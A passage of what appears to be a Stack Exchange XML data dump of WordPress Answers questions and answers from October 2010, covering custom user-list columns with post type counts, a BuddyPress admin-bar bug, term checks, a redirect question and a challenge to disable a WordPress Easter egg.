slug&#xA;    $columns['animals'] = 'Animals Count';&#xA;    $columns['plants'] = 'Plants Count';&#xA;    $columns['insects'] = 'Insect Count';&#xA;    return $columns;&#xA;}&#xA;add_filter('manage_users_columns', 'my_manage_users_columns');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I read up on &lt;code&gt;get_posts_by_author_sql()&lt;/code&gt; and how it's supposed to construct a WHERE statement for you, but the results I got were always &quot;1=0&quot;. So I just wrote out the rest of the SQL statement, as &lt;code&gt;get_posts_by_author_sql()&lt;/code&gt; is only saving you having to write two bits: the post type and the author:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts WHERE post_type = 'your_custom_type' AND post_author = $user_id&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works just as well, and will add as many columns as you want, but each one uses up horizontal space, whereas Mike's tutorial will add a single column for custom post types, and then list them as a table within that row. Same info, different visualization. Mike's is probably better for large amounts of types, as it builds a condensed vertical list (and only displays a count item if not empty), while sorich87's method is good for smaller quantities, as there's only so much horizontal column room available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget you can add &quot;post_status=publish&quot; to the query to only return published items, as the example currently return all posts...&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-10-24T16:02:46.893" CommentCount="1" />
  <row Id="3243" PostTypeId="2" ParentId="3233" CreationDate="2010-10-24T16:08:06.293" Score="5" ViewCount="" Body="&lt;p&gt;Here's an expansion of Mike's tutorial answer. I added links to the types listed so you can click on one and be taken right to a listing of all the posts in that type for that author, which required an additional variable for &lt;code&gt;$counts&lt;/code&gt; and some extra output for &lt;code&gt;$custom_column[]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('manage_users_columns','yoursite_manage_users_columns');&#xA;function yoursite_manage_users_columns($column_headers) {&#xA;    unset($column_headers['posts']);&#xA;    $column_headers['custom_posts'] = 'Assets';&#xA;    return $column_headers;&#xA;}&#xA;&#xA;add_action('manage_users_custom_column','yoursite_manage_users_custom_column',10,3);&#xA;function yoursite_manage_users_custom_column($custom_column,$column_name,$user_id) {&#xA;    if ($column_name=='custom_posts') {&#xA;        $counts = _yoursite_get_author_post_type_counts();&#xA;        $custom_column = array();&#xA;        if (isset($counts[$user_id]) &amp;amp;&amp;amp; is_array($counts[$user_id]))&#xA;            foreach($counts[$user_id] as $count) {&#xA;                $link = admin_url() . &quot;edit.php/?post_type=&quot; . $count['type']. &quot;&amp;amp;author=&quot;.$user_id;&#xA;                // admin_url() . &quot;edit.php?author=&quot; . $user-&amp;gt;ID;&#xA;                $custom_column[] = &quot;\t&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a href={$link}&amp;gt;{$count['label']}&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;td&amp;gt;{$count['count']}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            }&#xA;        $custom_column = implode(&quot;\n&quot;,$custom_column);&#xA;        if (empty($custom_column))&#xA;            $custom_column = &quot;&amp;lt;th&amp;gt;[none]&amp;lt;/th&amp;gt;&quot;;&#xA;        $custom_column = &quot;&amp;lt;table&amp;gt;\n{$custom_column}\n&amp;lt;/table&amp;gt;&quot;;&#xA;    }&#xA;    return $custom_column;&#xA;}&#xA;&#xA;function _yoursite_get_author_post_type_counts() {&#xA;    static $counts;&#xA;    if (!isset($counts)) {&#xA;        global $wpdb;&#xA;        global $wp_post_types;&#xA;        $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;        SELECT&#xA;        post_type,&#xA;        post_author,&#xA;        COUNT(*) AS post_count&#xA;        FROM&#xA;        {$wpdb-&amp;gt;posts}&#xA;        WHERE 1=1&#xA;        AND post_type NOT IN ('revision','nav_menu_item')&#xA;        AND post_status IN ('publish','pending', 'draft')&#xA;        GROUP BY&#xA;        post_type,&#xA;        post_author&#xA;SQL;&#xA;        $posts = $wpdb-&amp;gt;get_results($sql);&#xA;        foreach($posts as $post) {&#xA;            $post_type_object = $wp_post_types[$post_type = $post-&amp;gt;post_type];&#xA;            if (!empty($post_type_object-&amp;gt;label))&#xA;                $label = $post_type_object-&amp;gt;label;&#xA;            else if (!empty($post_type_object-&amp;gt;labels-&amp;gt;name))&#xA;                $label = $post_type_object-&amp;gt;labels-&amp;gt;name;&#xA;            else&#xA;                $label = ucfirst(str_replace(array('-','_'),' ',$post_type));&#xA;            if (!isset($counts[$post_author = $post-&amp;gt;post_author]))&#xA;                $counts[$post_author] = array();&#xA;            $counts[$post_author][] = array(&#xA;                'label' =&amp;gt; $label,&#xA;                'count' =&amp;gt; $post-&amp;gt;post_count,&#xA;                'type' =&amp;gt; $post-&amp;gt;post_type,&#xA;                );&#xA;        }&#xA;    }&#xA;    return $counts;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-10-24T16:08:06.293" CommentCount="2" />
  <row Id="3244" PostTypeId="1" CreationDate="2010-10-24T16:22:52.657" Score="0" ViewCount="128" Body="&lt;p&gt;I'm using WP 3.0.1 , and Buddypress 1.2.6 , Theme - Blogs-Mu theme (from WPMU DEV)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using BP 1.2.5.2 , and the theme worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just upgraded to BP 1.2.6 , and now found a problem ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hide admin bar for logged out users? is checked to Yes ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now logged out user view a white space at the top (look in the image, a whitespace just below the addressbar) , if the admin bar visibility is turned on for guest visitors the admin bar is displayed instead of the white space ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img153.imageshack.us/img153/4278/whitespaceu.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img153.imageshack.us/img153/4278/whitespaceu.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While using it with BP 1.2.5.2 there was no such white space ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any other information is need please gladly ask for it , i will try my level best to provide as much information possible , I just want this issue resolved .&lt;/p&gt;&#xA;" OwnerUserId="1369" LastActivityDate="2010-11-23T19:45:36.020" Title="After Upgrade to Buddypress 1.2.6 from 1.2.5.2 , admin bar area displayed incorrectly for guest-visitors" Tags="&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="3245" PostTypeId="2" ParentId="715" CreationDate="2010-10-24T16:45:38.270" Score="8" ViewCount="" Body="&lt;h2&gt;Let plugin's folder name be changed&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;/plugins/pluginname/{various}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;pluginname&quot; used for the folder should always be changeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is normally handled by defining constants and consistantly using them throughout the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needless to say many popular plugins are sinners.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Related:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugins_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;plugins_url()&lt;/code&gt;&lt;/a&gt; for easy linking to resources, included with plugin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="860" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-10T07:39:59.883" LastActivityDate="2011-01-10T07:39:59.883" CommunityOwnedDate="2010-10-24T16:45:38.270" CommentCount="4" />
  <row Id="3246" PostTypeId="2" ParentId="3244" CreationDate="2010-10-24T19:03:09.290" Score="1" ViewCount="" Body="&lt;p&gt;why not contact the company who developed the theme? - they provide support for their customers.&#xA;&lt;a href=&quot;http://premium.wpmudev.org/project/buddypress-blogsmu-theme&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/buddypress-blogsmu-theme&lt;/a&gt;&#xA;http://buddypress.org/community/groups/how-to-and-troubleshooting/forum/topic/what-necessary-changes-should-be-made-to-bp-themes-for-bp-1-2-6/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the theme was not tested/compatible with bp1.2.6 yet or have issued an update since.&lt;/p&gt;&#xA;" OwnerUserId="917" LastActivityDate="2010-10-24T19:03:09.290" />
  <row Id="3247" PostTypeId="1" AcceptedAnswerId="3270" CreationDate="2010-10-24T19:54:59.883" Score="1" ViewCount="705" Body="&lt;p&gt;I have a set of custom post types (capability_type=page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to include these in wp_list_pages() or similar so I can use the dynamic classes .current_page_item etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1929/menu-with-automatic-pages-included-from-custom-post-type&quot;&gt;this post&lt;/a&gt; but I'm not sure it's exactly what i'm looking for, can anyone help me out with a code sample / more in-depth explanation.&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2010-10-26T16:30:08.307" Title="Dynamic navigation for custom post type (pages)" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" />
  <row Id="3248" PostTypeId="2" ParentId="3238" CreationDate="2010-10-24T23:08:16.200" Score="1" ViewCount="" Body="&lt;p&gt;have you 'network' activated it? You may have to deactivate it then use the Network activate it.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-10-24T23:08:16.200" CommentCount="2" />
  <row Id="3249" PostTypeId="2" ParentId="3207" CreationDate="2010-10-25T01:37:23.520" Score="1" ViewCount="" Body="&lt;p&gt;I stopped using that plugin a long time ago. I don't think you really need it anymore honestly. I just remember it did the same thing that I was able to do when I disabled it, so I stopped using it. I don't think its still supported by the developer either, so may be out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may be wrong, but then again I use the least amount of plugins as I can and build most things into my themes. &lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2010-10-25T01:37:23.520" CommentCount="2" />
  <row Id="3250" PostTypeId="2" ParentId="2036" CreationDate="2010-10-25T01:46:55.440" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;// Template redirect for custom templates&#xA;add_action( 'template_redirect', 'template_redirect' );&#xA;&#xA;public function template_redirect() {&#xA;    global $wp_query;&#xA;    if ( $wp_query-&amp;gt;query_vars['post_type'] == 'case_studies' ) {&#xA;        get_template_part( 'single-casestudies' ); // a custom page-slug.php template&#xA;        die();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the same thing that @Dalton mentioned, you would want to create a custom page template named page-casestudies.php or whatever you want to name it, then make a page in WP admin that has a slug of 'casestudies' to match the page-{slug}.php or page-{id}.php where the page id matches. And you can use the page.php code, with a line or two before the if(have_posts() while(have_posts() Loop. Sort of like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts( array( 'post_type' =&gt; 'case_studies', 'paged' =&gt; $paged ));&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (have_posts()) : while (have_posts()) : the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry if I misunderstood the problem, but I think this would fix it.&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2010-10-25T01:46:55.440" />
  <row Id="3251" PostTypeId="1" AcceptedAnswerId="3254" CreationDate="2010-10-25T01:48:30.537" Score="2" ViewCount="562" Body="&lt;p&gt;I am looking for a way to do some conditional logic on terms associated with a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I created my own custom taxonomy for &quot;age groups&quot; and have created three terms for them. Kids, Teens, Adults... In the admin area I want to check the terms which apply to a specific post and on the frontend of the site within my page template I want to show a specific image if the term was associated with the post or a different one if the term was not associated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution for this... I thought the following code example would work but it does not. (BTW - what I am doing here is changing the image based off css).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;kids-&amp;lt;?php if ( is_term( 'Kids' , 'age_groups' ) ) {&#xA;   echo 'on';&#xA;} else {echo 'off';} ?&amp;gt;&quot;&amp;gt;Kids Programs&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-25T03:37:07.490" LastActivityDate="2010-10-25T03:45:49.987" Title="Checking if a Page has an Associated Term?" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;conditional-content&gt;&lt;terms&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="3252" PostTypeId="1" AcceptedAnswerId="3256" CreationDate="2010-10-25T02:11:57.320" Score="0" ViewCount="83" Body="&lt;p&gt;Hi I see a &lt;a href=&quot;http://openunionism.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;wordpress.co&lt;/a&gt;m blog and on the latest post there is a redirect for the external links via &quot;http://go2.wordpress.com/&quot; redirect. This redirect is obfuscated - on hovering the link it displays a &quot;http://google.com/url?...&quot; redirect instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this and why is it suddenly on this post and not others?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I see the redirect type is a 302 - surely this is harmful in terms of SEO for the destination links?&lt;/p&gt;&#xA;" OwnerUserId="835" LastActivityDate="2010-10-25T06:04:16.770" Title="What is the http://go2.wordpress.com/ redirect?" Tags="&lt;wordpress.com&gt;&lt;redirect&gt;" AnswerCount="1" />
  <row Id="3253" PostTypeId="1" AcceptedAnswerId="3392" CreationDate="2010-10-25T03:03:31.423" Score="2" ViewCount="428" Body="&lt;p&gt;As some of you know, there's an &lt;a href=&quot;http://en.wikipedia.org/wiki/Easter_egg_%28media%29&quot; rel=&quot;nofollow&quot;&gt;Easter Egg&lt;/a&gt; hidden in the WordPress post revision system that will display a message from the movie &lt;a href=&quot;http://www.imdb.com/title/tt0133093/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;The Matrix&lt;/em&gt;&lt;/a&gt; if you perform a specific action (if you don't know, I won't spoil the surprise ... poke around with post revisions and see if you can find it).  I love Easter Eggs, and this one was a thrilling find when I stumbled upon it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people, it seems, aren't really fans, though.  I had a client recently discover this Easter Egg go into a panic attack because they thought someone had hacked their blog.  They freaked out, flooded my inbox with panicked messages, and maxed out my voice mail quota with &quot;please help!&quot; messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads me to believe that some Easter Eggs should be turned off when WordPress is deployed in certain situations - i.e. for high-maintenance clients.  Enter my idea for the first ever WordPress Answers code challenge.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The winner of this challenge will be awarded an extra 150 reputation points!!!&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Let's see how skilled you all are at coding ... what would you recommend as the simplest way to remove this Easter Egg from WordPress without hacking core?  In other words, using only action hooks, filters, and custom enqueued JavaScript, how would &lt;em&gt;you&lt;/em&gt; remove the Matrix Easter Egg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll select the &quot;best&quot; answer on October 31st based on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The completeness of the answer (a description of the code + example code + screenshots if applicable)&lt;/li&gt;&#xA;&lt;li&gt;The simplicity of the code (but remember, shorter isn't always better)&lt;/li&gt;&#xA;&lt;li&gt;Full descriptions of how you would install the code on a client site&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BTW, anyone who merely copy-pastes the solution I already posted on the WP-Hackers mailing list will be automatically disqualified.  Let the games begin!&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-31T13:00:42.167" Title="Coding Challenge - JavaScript Easter Egg" Tags="&lt;plugins&gt;&lt;challenge&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="1" />
  <row Id="3254" PostTypeId="2" ParentId="3251" CreationDate="2010-10-25T03:45:49.987" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@NetConstructor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing, &lt;em&gt;assuming&lt;/em&gt; your logic worked you can use the ternary operator to simplify your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;kids-&amp;lt;?php echo is_term('Kids','age_groups') &#xA;   ? 'on' : 'off'; ?&amp;gt;&quot;&amp;gt;Kids Programs&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue seems to be that &lt;code&gt;is_term()&lt;/code&gt; is used to check if a term exists, not if it is associated with a particular post. I think what you really want is &lt;code&gt;is_object_in_term()&lt;/code&gt; &lt;em&gt;(which assumes that you are in &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt;, i.e. that &lt;code&gt;$post&lt;/code&gt; has an appropriate value):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li id=&quot;kids-&amp;lt;?php echo is_object_in_term($post-&amp;gt;ID,'age_groups','Kids') &#xA;   ? 'on' : 'off'; ?&amp;gt;&quot;&amp;gt;Kids Programs&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. Assuming &lt;code&gt;is_term()&lt;/code&gt; had been the right function, it has actually been &lt;a href=&quot;http://codex.wordpress.org/WordPress_Deprecated_Functions_Hook&quot; rel=&quot;nofollow&quot;&gt;deprecated&lt;/a&gt;; &lt;code&gt;term_exists()&lt;/code&gt; replaces &lt;code&gt;is_term()&lt;/code&gt;; just fyi.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-25T03:45:49.987" CommentCount="2" />
  <row Id="3255" PostTypeId="1" CreationDate="2010-10-25T03:59:09.447" Score="0" ViewCount="534" Body="&lt;p&gt;I have a site that I am migrating to WordPress, and I have a need to add properties that each of the users can edit (e.g., Address, City, State, Business Name, etc), along with some properties that Administrators can edit (IsActive, CanEmail) that wouldn't be displayed to the user.  In addition, I need to be able to display the properties in a table (similar to how the plugin, &quot;Members List&quot;, displays, but with the custom fields displaying as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given these requirements, I had attempted to use a combination of &quot;Cimy User Extra Fields&quot; and &quot;Members List&quot;, but the members list grid did not have an option to display the extra fields created by the other plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you recommend I approach this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess the crux of my question is, what is the preferred method to add properties to the User?&lt;/p&gt;&#xA;" OwnerUserId="1371" LastEditorUserId="1371" LastEditorDisplayName="" LastEditDate="2010-10-25T19:36:03.630" LastActivityDate="2011-01-02T05:31:09.690" Title="Adding Properties to User Profile and Displaying in List" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;users&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" />
  <row Id="3256" PostTypeId="2" ParentId="3252" CreationDate="2010-10-25T06:04:16.770" Score="1" ViewCount="" Body="&lt;p&gt;It seems to be generated by API for affiliate service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this topic &lt;a href=&quot;http://en.forums.wordpress.com/topic/link-redirection-through-go2wordpresscom&quot; rel=&quot;nofollow&quot;&gt;Link redirection through go2.wordpress.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The redirection is for a skimlinks ad&#xA;  service we are running.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-25T06:04:16.770" CommentCount="2" />
  <row Id="3257" PostTypeId="2" ParentId="1903" CreationDate="2010-10-25T06:45:58.763" Score="0" ViewCount="" Body="&lt;p&gt;Actually WP e-Commerce can handle as many products as WordPress can handle Blog posts. In other words thousands and thousands of products :)&lt;/p&gt;&#xA;" LastActivityDate="2010-10-25T06:45:58.763" />
  <row Id="3258" PostTypeId="2" ParentId="3253" CreationDate="2010-10-25T07:34:10.203" Score="0" ViewCount="" Body="&lt;p&gt;I adore how code goes extra mile to include easter egg in obfuscated and inflexible way. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suck with admin area, so here is my code that spawned way more questions in my head than answered:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'get_edit_post_link', 'hijack_revision_easter_egg' );&#xA;&#xA;function hijack_revision_easter_egg( $input ) {&#xA;&#xA;    global $action, $left, $right;&#xA;&#xA;&#xA;    if( 'diff' != $action )&#xA;    return $input;&#xA;&#xA;    if( $left == $right ) {&#xA;&#xA;    $revision = wp_get_post_revision( $left );&#xA;&#xA;    if( $revision-&amp;gt;post_parent )&#xA;        wp_redirect ( site_url( &quot;/wp-admin/revision.php?revision={$left}&amp;amp;action=view&quot; ) );&#xA;    else&#xA;        wp_redirect( str_replace( 'amp;', '', $input ) );&#xA;&#xA;    exit;&#xA;    }&#xA;&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No idea why encoded ampersand breaks redirect... Had no idea about &lt;code&gt;admin_action_&lt;/code&gt; hook that this should really use instead of messily hooking into harmless &lt;code&gt;get_edit_post_link&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to redirect to revision view, but that doesn't seem possible for latest revision.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-25T07:34:10.203" />
  <row Id="3259" PostTypeId="2" ParentId="3159" CreationDate="2010-10-25T09:49:49.027" Score="1" ViewCount="" Body="&lt;p&gt;Use WP e-Commerce Plugin from GetShopped.org and if it doesnt do exactly what you want straight away then you can commission somebody to do the rest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Woo are making a Plugin but its going to be years behind (in terms of features) compared to WP e-Commerce, Shopp, Yak etc... &lt;/p&gt;&#xA;" LastActivityDate="2010-10-25T09:49:49.027" />
  <row Id="3260" PostTypeId="2" ParentId="2006" CreationDate="2010-10-25T11:20:56.757" Score="3" ViewCount="" Body="&lt;p&gt;We found 2 plugins that work:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-recent-posts-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multisite-recent-posts-widget/&lt;/a&gt;&lt;br&gt;&#xA; and &lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-recent-posts-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multisite-recent-posts-widget/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2010-10-25T11:20:56.757" />
  <row Id="3261" PostTypeId="1" AcceptedAnswerId="7325" CreationDate="2010-10-25T11:51:22.347" Score="0" ViewCount="200" Body="&lt;p&gt;I have been tasked with creating a site for a large audience, and many of the audience will require some sort of sign up. They may require certain account controls (visual things, like theme colours for colour blind people) but largely it will just be a way to monitor the use of the contact features (so users can monitor their previous interactions like a ticket system)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question really is simply, where do I start? Is Wordpress the right tool for this job? If not, what is? If so, what methods should I be looking into to start the research going?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the broadness of the question, but I feel a little lost at the moment.&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-20T13:10:05.510" LastActivityDate="2011-01-20T13:10:05.510" Title="Advice on setting up a site with front end registration" Tags="&lt;registration&gt;&lt;front-end&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="3262" PostTypeId="1" CreationDate="2010-10-25T12:15:38.923" Score="0" ViewCount="605" Body="&lt;p&gt;I need to get the total number of posts that are not in selected categories.&#xA;I have category IDs of the categories that I want to exclude from count (in the variable &lt;code&gt;$folio_cat_ids&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have this code which is not working,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$numposts = $wpdb-&amp;gt;get_var(&quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts &#xA;  WHERE post_status = 'publish' &#xA;    AND post_type = 'post' &#xA;    AND post_name NOT LIKE '%revision%' &#xA;    AND post_name NOT LIKE '%autosave%' &#xA;    AND post_category NOT IN($folio_cat_ids)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="1349" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-25T16:56:55.780" LastActivityDate="2010-10-25T17:33:47.993" Title="Total Count of Posts NOT in Selected Categories?" Tags="&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="2" />
  <row Id="3263" PostTypeId="2" ParentId="3262" CreationDate="2010-10-25T12:28:49.930" Score="1" ViewCount="" Body="&lt;p&gt;Do your posts have multiple categories? If not - I think individual category counts are cached, so can sum up counts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories( array( 'exclude' =&amp;gt; $folio_cat_ids ) );&#xA;&#xA;$count = 0;&#xA;foreach ( $categories as $category)&#xA;    $count += $category-&amp;gt;category_count;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can also just get and count the posts, that is more flexible and takes care of overlap, but also more resource-intensive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts( array(&#xA;    'category__not_in' =&amp;gt; $folio_cat_ids,&#xA;    'numberposts' =&amp;gt; '-1'&#xA;) );&#xA;&#xA;$count = count( $posts );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-25T12:28:49.930" CommentCount="7" />
  <row Id="3264" PostTypeId="2" ParentId="1903" CreationDate="2010-10-25T13:42:32.257" Score="0" ViewCount="" Body="&lt;p&gt;Don't use OS Commerce, its like IE6 for webshops.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-10-25T13:42:32.257" />
  <row Id="3265" PostTypeId="1" CreationDate="2010-10-25T14:28:00.673" Score="0" ViewCount="118" Body="&lt;p&gt;I've read conflicting information on this.  Some say that you should submit your feeds to the search engines for inclusion in their blog searches.  Some say that the feeds should be blocked in robots.txt to avoid duplicate content in google.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, my sitemap is regularly crawled by google and my blog posts are getting rather quickly indexed by google. The feed (as well as category, archive, and author pages) are currently blocked in robots.txt.  And category, archive and author pages are set to noindex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if I should unblock the feed and start submitting it or not.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just have the feed blocked for Googlebot, but allow for other bots.  In this case, should it be blocked for Bing and Yahoo too?&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="1148" LastEditorDisplayName="" LastEditDate="2010-10-25T14:55:22.147" LastActivityDate="2010-10-25T16:35:12.740" Title="Submit blog feed to search engines? SEO" Tags="&lt;seo&gt;&lt;feed&gt;&lt;google-search&gt;" AnswerCount="2" />
  <row Id="3266" PostTypeId="2" ParentId="3265" CreationDate="2010-10-25T15:12:55.470" Score="1" ViewCount="" Body="&lt;p&gt;The duplicate content penalty is a fallacy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2008/09/demystifying-duplicate-content-penalty.html&quot; rel=&quot;nofollow&quot;&gt;http://googlewebmastercentral.blogspot.com/2008/09/demystifying-duplicate-content-penalty.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-25T15:12:55.470" CommentCount="1" />
  <row Id="3267" PostTypeId="1" AcceptedAnswerId="3272" CreationDate="2010-10-25T15:40:11.817" Score="0" ViewCount="384" Body="&lt;p&gt;I have the following custom query written for a page-&#xA;&lt;code&gt;&#xA;$menu_loop = new WP_Query( array( 'post_type' =&gt; 'page', 'posts_per_page' =&gt; 50, 'post_parent' =&gt; 616, 'order_by' =&gt; 'post_title', 'order' =&gt; 'ASC' ) );&#xA;  while ($menu_loop-&gt;have_posts()) : $menu_loop-&gt;the_post(); &#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when the content is output to the page, it is NOT in alphabetical order by post_title.  This has really been mystifying me because if I manually query the DB with-&#xA;&lt;code&gt;&#xA;SELECT * FROM wp_2_posts WHERE post_type = 'page' AND post_parent = 616 ORDER BY post_title ASC&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then the results are returned correctly.  Further, I print_r($menu_loop) and one of the array entries is the actual query sent to the DB and it is wrong and showing-&#xA;&lt;code&gt;&#xA;[request] =&gt;  SELECT SQL_CALC_FOUND_ROWS  wp_2_posts.* FROM 